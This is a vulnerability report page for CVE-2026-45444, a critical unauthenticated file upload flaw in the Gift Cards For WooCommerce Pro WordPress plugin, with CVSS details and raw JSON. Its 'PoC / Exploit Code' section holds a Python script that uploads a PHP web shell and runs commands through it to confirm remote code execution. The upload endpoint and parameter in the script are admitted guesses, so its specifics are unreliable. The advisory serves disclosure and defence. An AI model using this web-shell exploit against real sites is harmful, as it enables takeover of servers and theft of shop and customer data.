Security Vulnerability Report
中文
CVE-2026-45444 CVSS 10.0 CRITICAL

CVE-2026-45444

Published: 2026-05-20 20:16:41
Last Modified: 2026-05-21 15:19:31

Description

Unrestricted Upload of File with Dangerous Type vulnerability in WP Swings Gift Cards For WooCommerce Pro allows Using Malicious Files. This issue affects Gift Cards For WooCommerce Pro: from n/a through 4.2.6.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Swings Gift Cards For WooCommerce Pro <= 4.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://example.com/wp-content/plugins/giftware/upload_endpoint.php" shell_url = "http://example.com/wp-content/uploads/shell.php" # Malicious PHP payload php_payload = "<?php system($_GET['cmd']); ?>" # Prepare the file upload files = { 'file': ('shell.php', php_payload, 'application/octet-stream') } data = { 'action': 'upload_gift_card_image' # Example parameter based on plugin functionality } try: print("[+] Exploiting File Upload Vulnerability...") response = requests.post(target_url, files=files, data=data) if response.status_code == 200 and "success" in response.text.lower(): print("[+] File uploaded successfully!") # Verify execution verify = requests.get(f"{shell_url}?cmd=whoami") if verify.status_code == 200: print(f"[+] RCE Successful! Current user: {verify.text.strip()}") else: print("[-] Exploit failed or patch applied.") print(response.text) except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45444", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:40.680", "lastModified": "2026-05-21T15:19:30.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in WP Swings Gift Cards For WooCommerce Pro allows Using Malicious Files.\n\nThis issue affects Gift Cards For WooCommerce Pro: from n/a through 4.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/giftware/vulnerability/wordpress-gift-cards-for-woocommerce-pro-plugin-4-2-6-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}